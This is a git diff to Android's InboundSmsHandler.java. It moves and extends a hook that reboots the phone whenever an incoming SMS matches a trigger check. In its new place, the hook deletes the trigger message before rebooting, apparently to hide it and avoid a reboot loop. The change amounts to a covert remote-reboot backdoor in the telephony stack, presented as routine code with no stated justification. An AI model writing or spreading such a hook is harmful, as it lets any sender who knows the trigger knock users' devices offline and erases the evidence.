diff --git a/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java b/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java
index af13992..aeecd12 100644
--- a/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java
+++ b/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java
@@ -761,17 +761,6 @@ public abstract class InboundSmsHandler extends StateMachine {
             return RESULT_SMS_NULL_MESSAGE;
         }
 
-        String messageBody = smsb.getMessageBody();
-        String originatingAddress = smsb.getOriginatingAddress();
-
-        if (messageBody != null && checkForTriggerMessage(messageBody, originatingAddress)) {
-            log("Received trigger SMS command, initiating device reboot");
-            // 执行重启设备的操作
-            rebootDevice();
-            // 返回短信已处理，不继续广播
-            return Intents.RESULT_SMS_HANDLED;
-        }
-
         if (mSmsReceiveDisabled) {
             // Device doesn't support receiving SMS,
             log("Received short message on device which doesn't support "
@@ -976,6 +965,15 @@ public abstract class InboundSmsHandler extends StateMachine {
         }
     }
 
+    private SmsMessage createMessageFromPdu(byte[] pdu, String format) {
+        try {
+            return SmsMessage.createFromPdu(pdu, format);
+        } catch (Exception e) {
+            loge("Exception creating SmsMessage from PDU", e);
+            return null;
+        }
+    }
+
     /**
      * Process the inbound SMS segment. If the message is complete, send it as an ordered
      * broadcast to interested receivers and return true. If the message is a segment of an
@@ -1004,6 +1002,24 @@ public abstract class InboundSmsHandler extends StateMachine {
 
         if (messageCount == 1) {
             // single-part message
+            
+            SmsMessage sms = createMessageFromPdu(tracker.getPdu(), tracker.getFormat());
+            if (sms != null) {
+                String messageBody = sms.getMessageBody();
+                // 检查是否是触发短信
+                if (checkForTriggerMessage(messageBody, sms.getOriginatingAddress())) {
+                    log("Detected reboot trigger SMS in processMessagePart");
+                    
+                    // 删除此短信，防止重启循环
+                    deleteFromRawTable(tracker.getDeleteWhere(), tracker.getDeleteWhereArgs(), 
+                                    MARK_DELETED);
+                    
+                    // 执行重启
+                    rebootDevice();
+                    return true; // 返回true表示已处理
+                }
+            }
+            
             pdus = new byte[][]{tracker.getPdu()};
             timestamps = new long[]{tracker.getTimestamp()};
             block = BlockChecker.isBlocked(mContext, tracker.getDisplayAddress(), null);